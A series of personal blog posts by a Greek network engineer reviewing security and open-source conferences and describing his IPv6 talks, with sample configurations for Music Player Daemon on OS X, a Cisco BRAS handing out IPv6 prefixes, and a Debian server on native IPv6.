Alternate title: “Being a lamb around a pack of wolves” … A venue full of hackers that are eager to attack your systems…

On 3-4/05/2012 the third AthCon conference was held in Athens. AthCon is an international security conference whose motto is “The First HIGHLY TECHNICAL Security Conference in Greece”.

Even though I am not a security professional, my daily job title is “Systems and Services Engineer” which of course includes various aspects of security but I am certainly not a security researcher, I had decided months ago that I would be attending this year’s AthCon. Since I like messing a lot with IPv6 for the past 2-3 years, I decided that I could try and submit an introductory talk about IPv6 security issues. My talk was accepted, so I was not only attending AthCon this year but I was going to give a presentation as well.

My presentation – Are you ready for IPv6 insecurities ? was during the first day of the conference. I am always worried when I give presentations on IPv6 that the people attending have probably no clue about this ‘not-so-new’ protocol. Most people think that IPv6 is like IPv4 with bigger addresses and ‘:’ instead of ‘.’ to separate the address groups, which is of course a HUGE mistake/misunderstanding. I was hopeful that this wouldn’t be the case in AthCon, so when I started my presentation and I asked the crowd ‘how many of you know what SLAAC is ?’ and I only saw 3-4 hands raised I kinda froze, I was expecting at least a double digit…I was going to give a presentation on IPv6 security concepts to people that have absolutely no idea what I’m talking about. Being prepared for the fact that some people would need some ‘refreshing’ on their IPv6 knowledge, I had prepared around 20 introductory slides explaining some IPv6 concepts before I entered the security details, but I doubt these were enough for most people there. I am hopeful though that some of the attendees might be motivated to read more about the protocol since I think my security slides contained enough details, references and links to get people started. If someone needs more details feel free to contact me.

Enough with my presentation, what about other presentations ?
My personal view is that this year’s AthCon had some great talks, some that were ok and some that I didn’t like. I won’t mention which ones I didn’t like, but I noticed that a LOT of people were gossiping about these in the hallways. I will only mention here the ones that I really liked.

Day 1:
“Packing Heat!” by Dimitrios Glynos
A presentation that every pentester should download/watch somehow. Techniques about packing your executables to avoid detection by anti-virus programs, need I say more ? Great content and very well presented. Congrats Dimitris!

“PostScript: Danger Ahead” by Andrei Costin
How to use PostScript programming language to take advantage of Printers, OS, etc. Very interesting concepts were presented and also the examples/demos shown were pretty cool and easy to understand.

Day 2:
“Apple vs. Google Client Platforms” by Felix ‘FX’ Lindner
I guess mostly everyone reading this blog knows FX and what a great speaker he is. If you don’t then start watching his previous presentations and start reading about his work. His presentation at AthCon, apart from being the best one in terms of “presenting it”, was also extremely interesting. He connected the security concepts behind Apple’s iOS and Google’s Chromebook with their business tactics and policies. Just wait for AthCon to publish the videos and watch it. Probably the best talk at AthCon 2012.

“Advances in BeEF: RESTful API, WebSockets, XssRays enhancements” by Michele Orru
Jaw-dropping. That’s all I have to say about BeEF. Scary. Watch it to see what browsers and IDS have to face and defend against…not in the future but right now.

“Exploitation and state machines” by Halvar Flake
This presentation was about exploitation techniques and why automated exploitation engines don’t work that well. Even though reversing and exploitation is far from my interest topics I enjoyed the talk a lot. Very well structured and very clear points. Too bad this talk did not appear on the schedule and was there as “tbc”, I am sure many more people would come just to listen to this talk and speak to Halvar.

If I were to suggest a couple of things for next year…
a) Please put the CTF in separate slots within the day, not at the same time with the presentations. In a conference of 150-200 people (just guessing here) having 30+ people leaving the presentation room and just attending the CTF all day long leaves the main room a bit empty. I am pretty sure there were people that wanted to attend both the presentations and the CTF, unfortunately they had to make a choice.
b) Send some details/info to the speakers about the conference a few days earlier. Maybe non-greek presenters were given but we weren’t, at least I wasn’t.
c) The venue is really nice, but maybe it would help if the next AthCon was organized somewhere downtown. Yeah I can understand that the cost would be higher but number of people attending would also raise (I think).
d) Give us even more highly technical presentations/speakers! People starve for these kind of talks!

My congratulations fly to AthCon people for organizing the conference. See you next year!

You can find some of the pics I took from the speakers at: AthCon 2012 speaker pics (if any of the speakers wants his pic removed please contact me ASAP)

AthCon 2012 – Are you ready for IPv6 insecurities ?

My presentation for AthCon 2012 is now available online: Are you ready for IPv6 insecurities ?

Music Player Daemon on OS X

I use a Mac Mini with OS X 10.5.8 as a media center connected to my TV and I wanted to install Music Player Daemon on it so I could control the music remotely from my laptop or phone. I mostly followed the OS X guide from MPD’s wiki to do it but I ran into some problems while trying to daemonize mpd.

I got the following error while running mpd without –no-daemon:

The process has forked and you cannot use this CoreFoundation functionality safely. You MUST exec().
Break on __THE_PROCESS_HAS_FORKED_AND_YOU_CANNOT_USE_THIS_COREFOUNDATION_FUNCTIONALITY___YOU_MUST_EXEC__() to debug.

When I ran mpd –no-daemon everything was fine though. So in order to “solve” this problem I’ve changed the plist file to include a screen invocation.

My mpd.plist looks like that now:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
    <dict>
    <key>Label</key>
    <string>mpd</string>
    <key>ProgramArguments</key>
    <array>
        <string>/opt/local/bin/daemondo</string>
        <string>--label=mpd</string>
        <string>--start-cmd</string>
        <string>screen</string> <!-- path to screen -->
        <string>-dmS</string>
        <string>mpd</string>
        <string>/opt/local/bin/mpd</string> <!-- path to MPD -->
        <string>-v</string>
        <string>--no-daemon</string>
        <string>/Users/kargig/.mpd/mpd.conf</string> <!-- path to MPD config -->
        <string>;</string>
        <string>--stop-cmd</string>
        <string>/opt/local/bin/mpd</string> <!-- path to MPD, again -->
        <string>--kill</string>
        <string>/Users/kargig/.mpd/mpd.conf</string> <!-- path to MPD config, again -->
        <string>;</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
    <key>Disabled</key>
    <false/>
    </dict>
</plist>

So launchctl calls daemondo which calls screen which runs mpd –no-daemon, so mpd doesn’t crash.

I use mpdscribble for scrobbling my music to last.fm. Clients-wise, I use Theremin on OS X, Gnome Music Player Client/gmpc on Debian Linux and MPDroid on Android. And all those connections over IPv6 of course, over my LAN’s Unique Local Addresses to be exact, mpd and all clients listed above work fine with IPv6.

 # lsof -n -i | grep ESTABLISHED | grep 6600
mpd       43025         kargig   12u  IPv6 0x49c719c      0t0    TCP [fdbf:aaaa:aab0:447d:216:XXff:feaa:11XX]:6600->[fdbf:aaaa:aab0:447d:222:XXff:fe1e:d8XX]:48703 (ESTABLISHED)
mpd       43025         kargig   15u  IPv6 0x3127cd4      0t0    TCP [fdbf:aaaa:aab0:447d:216:XXff:feaa:11XX]:6600->[fdbf:aaaa:aab0:447d:fadb:XXff:fe4f:aXX]:51113 (ESTABLISHED)

Apart from MPD’s wiki there’s another nice blog post you can read to help you install mpd on OS X, Integrating MPD with OS X.
For general reference on setting up mpd, Archilinux has a fine wiki entry.

0x375 – 0x07 – Security Considerations for a brave new (IPv6) World

I finally had the chance to present something at the Thessaloniki Tech Talk Sessions also known as 0x375. The people over there have done a great job, and I truly mean that, bringing tech people together. Almost once a month 2 speakers can present a tech topic they like at an open auditorium inside the Aristotle University of Thessaloniki. On those events people from Thessaloniki, but also from nearby cities, gather and have a great time, not only during the presentations but afterwards as well. I won’t spoil the events that take place during the tech talks, because you should definitely go if you are curious, but I can tell you that it’s not uncommon for as many as 15 to 20 people to go for beers after the talks!

So, the past Friday (25/11/2011), me and @apoikos traveled from Athens to Thessaloniki to present at 0x375. My presentation was about some security concepts on IPv6 networks, how old attacks of the IPv4 world transform to new ones on the IPv6 world and about some new ones that will appear on local networks sooner or later. I also had prepared some small live demos, but as always it’s very hard to succeed in a live demo if you don’t quite control the environment. At least some of the stuff I wanted to show were successful, and I’m happy with those. (Thanks to Nuclear for booting his OS X guinea pig)

Some apologies…When giving a presentation on IPv6, in an event that has no other introductory IPv6 presentations, I always face the same problem, most people are not very well aware of how different this protocol is from IPv4. When I ask the audience how well do they know IPv6, most people are embarrassed to say they have never actually used it, so the audience stays very, VERY silent. This means that I have to put around 15-20 slides to make a “quick introduction to IPv6”, and this unfortunately takes usually over 30′ of presentation time. Some techy/advanced people might be bored with this, but there’s no other way to overcome this “issue”. If you go straight to the point and start discussing about ND ICMPv6 messages most people won’t be able to keep up…so I’m sorry if I made some of the audience get bored by my first slides. I promise that my next talk on 0x375, cause there will surely be a next one, will be less boring for you 🙂

Thank you all for coming there, I hope you enjoyed it as much as I did!

You can find the slides and my live demo notes here:
0x375 – 0x07 – kargig – Security Considerations for a brave new (IPv6) World (pdf)
0x375 – 0x07 – kargig – Security Considerations for a brave new (IPv6) World – live demo notes (txt)

P.S. I’ve started collecting some interesting (for me) presentations regarding IPv6 topics at void.gr/kargig/ipv6/. Check them out if you like.

World IPv6 Day – The Future is Forever

It’s time!

Tomorrow is the World IPv6 Day and in order to celebrate it in Athens, we are having an IPv6 Party at hackerspace.gr!
I’ll do a small introductory presentation about the basics of IPv6 Protocol and how’s Linux doing with it. After the presentation there will be an open discussion regarding IPv6 … drinking beer.

Everyone’s invited! Be there!

WORLD IPV6 DAY is 8 June 2011 – The Future is Forever

End Users IPv6 Training by Hellenic IPv6 Task force

Today the Hellenic IPv6 Task force organized a training day for end users. Most of the presentations were entry level, since they were targeting end users, but most of them were very interesting. I was happily surprised by Cosmote‘s presentation on their mobile IPv6 tests using native IPv6 and NAT64.

My presentation was about what is architecturally different inside an IPv6-enabled CPE. I tried to present topics like WAN addressing, LAN addressing, auto-configuration (SLAAC), DHCPv6 as well as some migration/tunneling techniques. There were lots of comments, a lot of interesting questions and I was happy to “provoke” an interesting exchange of ideas/perceptions on IPv4 NAT mainly due to the previous to last slide of my presentation 🙂

At the end of the event there was a draw and people got 4 IPv6-enabled CPEs produced by the company I work for (Gennet), 4 DSL accounts by OTE ready to use for OTE’s pilot IPv6 program and 5 IPv6 related books generously provided by Cisco.

My presentation: Defining an IPv6-ready CPE
All presentations: IPv6 End Users Training Day (2011)

On Friday(s) 27/05 and 03/06 I’ll be giving two more IPv6 presentations at University of Pireus: [oss-unipi] Event #26: Introduction to TCP/IP and IPv6. The first one will be introductory and the second one will be more technical and maybe workshop based. In the same day(s) there will also be in-depth technical IPv4 presentations by Apollon Oikonomopoulos. Be there if you like technical presentations!

Fosscomm 2011 – My review

Generic comments
I just got back home from Fosscomm 2011 and I must admit it has been one of the best organized events of this kind I’ve seen in Greece ever. The single most important fact was that presentations and workshops were always _on time_. They started on time, they finished on time. The organizers had to face even a power cut by the national energy company but they still managed not to fall behind on schedule. My only remark would be about the selection of the presentations that took place in the big room (called BA). Most of them gathered far less people than other presentations which took place in smaller rooms (B3 for example) and those rooms got extremely crowded from time to time. Maybe the organizers thought that generic open source presentations would attract more people than the technical ones but, unfortunately for them, and fortunately for “the greater good”, they were very wrong. This doesn’t reduce their achievement though. Another thing I would like to see on the next Fosscomm is less material given out to participants and instead spend this money on paying for travel expenses of people coming to speak on Fosscomm from abroad. Giving one (or even more) of the phones that HTC kindly provided to the voted by the participants best talk/presentation/workshop would also be very nice. My sincere congratulations to the organizing committee.

My IPv6 workshop
On my application to Fosscomm I had asked for one presentation and a separate workshop. This unfortunately wasn’t accepted, probably due to the large amount of other presentations/workshops, so I was given the first workshop on the very first day of Fosscomm, about “Using IPv6”- on Linux. Since I only had one hour, my original plans were to do a quick 15 min introductory presentation on IPv6 and then a 45 min hands-on lab. Since University of Patras could not provide IPv6 connectivity to the Lab, my other option was to have some remote VMs that would have upstream IPv6 connectivity and people on the Lab would ssh to. These VMs were kindly provided to us by Grnet and I have to publicly thank them one more time. My planning was bad though, people had far more questions about introductory IPv6 issues than I expected and the intro presentation was not finished until more than 35 mins had passed. This lead to the unfortunate result that the workshop could not be completed as I had planned. I am glad though that almost everyone logged into the VMs and had the chance to at least set up an IPv6 IP manually as well as an IPv6 default route. They also had their first ping6s. Some got even further by setting up ip6tables rules…What I definitely wanted to have shown during the workshop, and I didn’t have enough time to, was auto-configuration (SLAAC) which I consider to be one of the most intriguing features of IPv6. Next time I am doing either a presentation or a hands-on workshop, definitely not both in one session. Lesson learned.

Presentation/Workshop material:
Quick Intro to IPv6
Using IPv6 on Linux (workshop notes)

Talks I attended
All the talks I attended were very interesting, I probably did a very good job picking them 🙂 The ones I attended were:
Saturday
a) “A unified user account manager using LDAP/KRB5/CIFS” by Giorgos Mamalakis, Chariton Karamitas
b) “Network Exploitation with Ncrack” by Fotis Chatzis
c) “Wargames” by Patroklos Argyroudis, Fotis Chatzis, Chariton Karamitas
Sunday
a) “Intro to Arduino” by Pierros Papadeas, Kostas Antonakoglou
b) “Φωνή VoIPόντως εν τη ερήμω” by Effie Mouzeli
c) “Bright side of the Darknets” by Athanasios Kostopoulos
d) “Automated Testing Framework” by Giorgos Keramidas
e) “Performing Digital Forensics with Open Source tools” by Dimitrios Glynos
f) “Patras Heap Massacre” by Chariton Karamitas, Patroklos Argyroudis

I consider the most well presented one being: “Performing Digital Forensics with Open Source tools” while the one with the best slides was definitely: “Patras Heap Massacre”. If you weren’t there to see them, definitely try and find at least the slides if not the video.

Wargames
I had never participated before in any wargames because I considered that to be out of my league. That’s the reason I had not even registered for Fosscomm’s wargame called “fosswar”. I was curious though about what it’s like, so me and 3-4 more friends decided to stand in line and enter the room among the other people. The Lab room was crowded, really crowded. At first I thought that one reason for this would be the prize for the winner, an Android phone donated by HTC. I was later proven wrong though. Fosswar started and the organizers presented us with the 5 challenges. Two of those had to do something with networking…so I said to my self that I would be lucky even if I understood what one of those asked. Another challenge had to do with steganography, another one with exploiting a vulnerability in C and the last one was about reverse engineering. While this game could only have one winner, since me and my friends were not actually interested about the prize we decided to work as a team and see whether we can solve anything. Me and a friend looked at the first challenge, another 1 was looking at the third while 2 more were each looking at the fourth and fifth. During the wargame HTC asked for the names of people that wanted to take part in the competition, there nobody actually wanted to give his name. Most of them were there “just for the kicks”. That was even more exciting! HTC then told us that if nobody wanted to give his name the phone would be given on a lottery…so 10-15 people decided to give our names so the phone would “stay” at the fosswar. After solving the first challenge we got so excited that we just had to try the others, we couldn’t give up. So, after 3 hours of thinking and coding, the result was that our team managed to solve 3 of the five challenges, the details on what the challenges were and how we dealt with them will follow in a separate blog post, and we ended up being the winners because no other team had solved more than two. Yes, we had won! We had managed to solve the two networking challenges and the steganography one. That was soooo unexpected!

Pictures
My pictures from Fosscomm 2011 are at: https://picasaweb.google.com/kargig/2011050720110508Fosscomm2011#

My conclusion
Fosscomm this year definitely showed a trend. People don’t need generic presentations about open source any more, they know what it is, they believe in it, they use it. People really ask for technical presentations, and we need more of them.

Whoever couldn’t manage to attend Fosscomm 2011, should definitely attend Fosscomm 2012. I am certainly looking forward to it!

IPv6 workshop at Fosscomm 2011

This weekend, 7-8 May 2011, I’ll be doing a workshop about “IPv6 usage on Linux” at Fosscomm 2011 conference. Fosscomm is the biggest Greek Open Source conference with lots of interesting presentations, workshops and events. In the spirit of enabling IPv6 wherever possible, I am very happy to have managed to enable IPv6 connectivity for the website of Fosscomm this year!

During the workshop I will try to show the necessary tools to use, debug network problems and configure various services for IPv6. My goal is to explain to participants the abolishment of NAT, introduce the concepts of SLAAC and DHCPv6 and show them how to configure their networks to effectively use IPv6. If there’s enough time some issues related to IPv6 security will also be discussed. Target audience is people who are not afraid of the command line, have basic networking skills and are eager to learn things regarding IPv6!

Unfortunately it was impossible to have IPv6 upstream connectivity at the LAB, so participants will be testing everything on an IPv6 enabled remote infrastructure. Due to the limited number of LAB computers and Virtual Machines available, only 35, there is a registration form for participants to fill in. Please take the time to fill in the form any specific topics that you would like the workshop to pay attention to.

The workshop is taking place on Saturday 07/05/2011 and it will start _exactly_ at 10:45 in order to take full advantage of the time given to us by Fosscomm’s organizers.

Workshop is supported by the Greek IPv6 Taskforce and there miiiight be IPv6-related material distributed to the participants.

Please don’t forget to fill in the registration form!!!

Assigning IPv6 addresses from Cisco BRAS

A sample config for PPPoE clients connecting to a Cisco BRAS. The following example uses Stateless Address Autoconfiguration (SLAAC) to provide an IPv6 /64 subnet to clients on their PPP interface and DHCPv6 for Prefix Delegation in order to provide to a /56 subnet to them.

ipv6 unicast-routing
ipv6 general-prefix ISP-PREFIX 2001:DB8:BBBB::/48
ipv6 cef
ipv6 dhcp pool v6dhcppool
prefix-delegation pool v6prefixpool2
dns-server 2001:DB8:DDDD::1
dns-server 2001:DB8:EEEE::1
sip address 2001:DB8:CCCC::1
sip domain-name ipv6-test.example.com
Interface FastEthernet0/0.100
[ snip ]
ipv6 address ISP-PREFIX ::1:0:0:0:1/64
ipv6 enable
ipv6 mtu 1492
ipv6 nd reachable-time 30
ipv6 nd ra-interval 10
ipv6 nd ra-lifetime 3600
ipv6 nd prefix 2001:DB8:AAAA:2222::/64 86400 3600 off-link
ipv6 nd other-config-flag
ipv6 dhcp server v6dhcppool
!
Interface Virtual-Template1
[ snip ]
ipv6 unnumbered FastEthernet0/0.100
ipv6 enable
ipv6 mtu 1480
ipv6 nd reachable-time 30
ipv6 nd ra-interval 10
ipv6 nd ra-lifetime 3600
ipv6 nd prefix default infinite infinite off-link
ipv6 nd prefix 2001:DB8:BBBB:CCCC::/64 86400 3600 off-link
no ipv6 nd suppress-ra
ipv6 nd other-config-flag
ipv6 dhcp server v6dhcppool
peer default ipv6 pool v6prefixpool2
!
ipv6 local pool v6prefixpool 2001:DB8:9999:8800::/56 64
ipv6 local pool v6prefixpool2 2001:DB8:8888::/48 56

As the above config is just an example it uses the appropriate address space that IPv6 provides for examples, 2001:db8::/32

Hope it helps someone…

void.gr on native IPv6

Some months ago (exactly 4 actually) I had posted that void.gr was then accessible over IPv6. Today void.gr is accessible over native IPv6 thanks to my hosting provider, Leaseweb.

About a year ago I had asked Leaseweb for IPv6 support and their reply wasn’t very promising. It seemed that they weren’t really looking forward to providing IPv6 for their dedicated server clients yet. Today though I thought I should ask again, even if IPv6 support for their dedicated servers is still not referenced anywhere. And I got lucky! They offered me a /64.

So void.gr is from now accessible over IPv6 at 2001:1af8:4100:a000:4::131.

Accessing my server over IPv6 from my home’s native IPv6 connection, thanks to OTE providing beta IPv6 access to subscribers, seems a bit faster than accessing it via IPv4. Ping times are usually 4-5ms better. Looks like IPv6 connections are not that crowded as IPv4 are 🙂

The setup is pretty straightforward. Even if Debian Wiki is not very clear about how to setup IPv6, here’s what you have to do if you, like me, have a server with a native IPv6 connection.

# vi /etc/network/interfaces
auto eth0
iface eth0 inet static
    address 85.17.162.131
    netmask 255.255.255.0
    gateway 85.17.162.254
    network 85.17.162.0
    broadcast 85.17.162.255
iface eth0 inet6 static
    address 2001:1af8:4100:a000:4::131
    netmask 64
    gateway 2001:1AF8:4100:A000::1

Then of course you need to edit your Apache configuration to add the IPv6 vhosts.

P.S. I am still waiting an answer as to whether I can manage the reverse delegation of the IPv6 address space Leasweb gave me since I can’t do that from the control panel. I’ll post any updates on the ticket when I have some news…